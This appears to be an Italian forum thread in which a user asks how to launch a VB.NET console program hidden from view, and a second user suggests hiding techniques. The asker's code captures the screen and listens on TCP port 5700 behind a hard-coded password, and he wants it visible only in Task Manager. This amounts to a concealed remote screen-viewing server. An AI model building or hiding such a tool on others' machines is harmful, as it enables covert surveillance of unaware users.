[VB.Net] Applicazione Console SWHIDE = 0 "invisibile"

[kulosia]

Salve,
vorrei imparare meglio vb.net e non riesco a trovare nessuna
documentazione o sito che spieghi come fare un applicazione console
avviata nascosta.
in c++ usavo:

HWND kulosia;
kulosia = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(kulosia, SW_HIDE);

come potrebbe essere in vb.net?

[RaouL_BennetH]

Ciao

Se non hai bisogno di interagire con una console, potresti provare a creare un servizio.

Se invece per qualche motivo devi per forza utilizzare una console, credo che dovresti provare ad utilizzare:

Shell(nomeProgramma, AppWinStyle.Hide, False)

Ma mi viene in mente che potresti usare anche altro tipo di approccio:

//lo scrivo in C# perchè vb lo conosco pochissimo

using System.Diagnostics

public class ProcessExample
{
     private ProcessStartInfo p;
     
     public ProcessExample(ProcessStartInfo p)
     {
          this.p = p;
          p.CreateNoWindow = true;
          Process.Start(p);
     }
}

Se questi spunti non dovessero bastarti:
http://www.google.it/#hl=it&source=h...37ab30f7b5382a

[kulosia]

Dovrei non aprire un'altro eseguibile, ma lo stesso eseguibile che viene aperto deve essere eseguito in Hide:

        Shell(PathName, AppWinStyle.Hide, False)

PathName, sarebbe un modo per dichiarare la posizione di un'altro eseguibile,
come potrei fare in modo che dopo compilato l'eseguibile sia visibile
all'apertura solo sul task manager e non come console.
PathName può essere usato anche per se stesso?

//lo scrivo in C# perchè vb lo conosco pochissimo

using System.Diagnostics

public class ProcessExample
{
     private ProcessStartInfo p;
     
     public ProcessExample(ProcessStartInfo p)
     {
          this.p = p;
          p.CreateNoWindow = true;
          Process.Start(p);
     }
}

in questo metodo che mi hai scritto tu, funzionerebbe su se stesso, devo solo riscriverlo in vb.net giusto?

[kulosia]

   Private Shared proviamo As AppWinStyle = AppWinStyle.Hide

    Public Shared Sub Main()



        proviamo = AppWinStyle.Hide

più o meno così penso di fare, ma non va bene come lo scritto perchè mi da un nuovo errore nel debug:

Impossibile leggere i tasti quando l'applicazione non dispone di una console o quando l'input da console è stato reindirizzato da un file. Provare Console.Read.


qui mi dice che c'è l'errore:

        Do While Console.ReadKey(True).Key <> ConsoleKey.Escape
            ' Do Nothing
        Loop

non ho capito come fare perchè ho provato anche in questo modo:

Do While Console.Read <> Console.Read

ma nessun errore nel debug ma non si avvia proprio più l'eseguibile.
cioè non esce dal taskmanager, e non funziona.

[RaouL_BennetH]

Ciao

A scanso di equivoci (magari potrei darti suggerimenti errati) vorrei capire una cosa:

Ci deve essere un'interazione fra il programma e chi lo usa ?

[kulosia]

Public Shared Sub Main()

        pstrPassword = "ciao"

        Threading.ThreadPool.SetMaxThreads(1000, 1000)
        Threading.ThreadPool.SetMinThreads(1000, 1000)

        Dim intThreads_Completion_Max As Integer
        intThreads_Completion_Max = 0

        Threading.ThreadPool.GetMaxThreads(Nothing, intThreads_Completion_Max)

        Dim intThreads_Completion_Min As Integer
        intThreads_Completion_Min = 0

        Threading.ThreadPool.GetMinThreads(Nothing, intThreads_Completion_Min)

        Console.WriteLine("Thread Pool Configuration")
        Console.WriteLine("  Max Threads: {0:#,##0}", intThreads_Completion_Max)
        Console.WriteLine("  Min Threads: {0:#,##0}", intThreads_Completion_Min)

        Try
            pobjCapture = New RDC2_Library.Capture.cDirectX()
        Catch ex As Exception
            pobjCapture = New RDC2_Library.Capture.cGDI()
        End Try

        pobjCapture.GetSnapshot()

        pintState_Size = pobjCapture.Length
        pintState_Buffer = Runtime.InteropServices.Marshal.AllocHGlobal(pintState_Size)

        pobjCapture.ReleaseSnapshot()

        Console.WriteLine("Bounds: " & pobjCapture.Bounds.Width & "x" & pobjCapture.Bounds.Height & " (" & [Enum].GetName(GetType(Drawing.Imaging.PixelFormat), pobjCapture.Format) & ")")

        Console.WriteLine("Compare Size: " & cintCompareSize_Max)
        Console.WriteLine("Max Update Size: " & cintUpdateSize_Max)

        pobjThread_Capture = New Threading.Thread(AddressOf Thread_Capture)
        pobjThread_Capture.IsBackground = True

        pobjTimer_FPS = New Timers.Timer(1000)
        pobjTimer_FPS.Enabled = True

        pobjListen = New RDC2_Library.Network.cTcpListen(5700)

        Console.WriteLine("Listening on port 5700 ...")

        pobjThread_Capture.Start()
        pobjTimer_FPS.Start()

        Do While Console.ReadKey(True).Key <> ConsoleKey.Escape

        Loop

        pobjTimer_FPS.Stop()
        pobjTimer_FPS.Dispose()
        pobjTimer_FPS = Nothing

        pobjListen.Disconnect()
        pobjListen.Dispose()
        pobjListen = Nothing

        If pobjThread_Capture IsNot Nothing Then
            pobjThread_Capture.Abort()
            pobjThread_Capture = Nothing
        End If

        pobjCapture.Dispose()
        pobjCapture = Nothing

        Runtime.InteropServices.Marshal.FreeHGlobal(pintState_Buffer)

        pintState_Buffer = IntPtr.Zero
        pintState_Size = 0


    End Sub

dove segna in rosso richiamo la console e quindi ho il problema di non riuscirla a nasconderla, comunque riguardo alla tua domanda si c'è un iterazione e quest'altro dovrebbe stare in Hide e non dovrebbe uscire la console.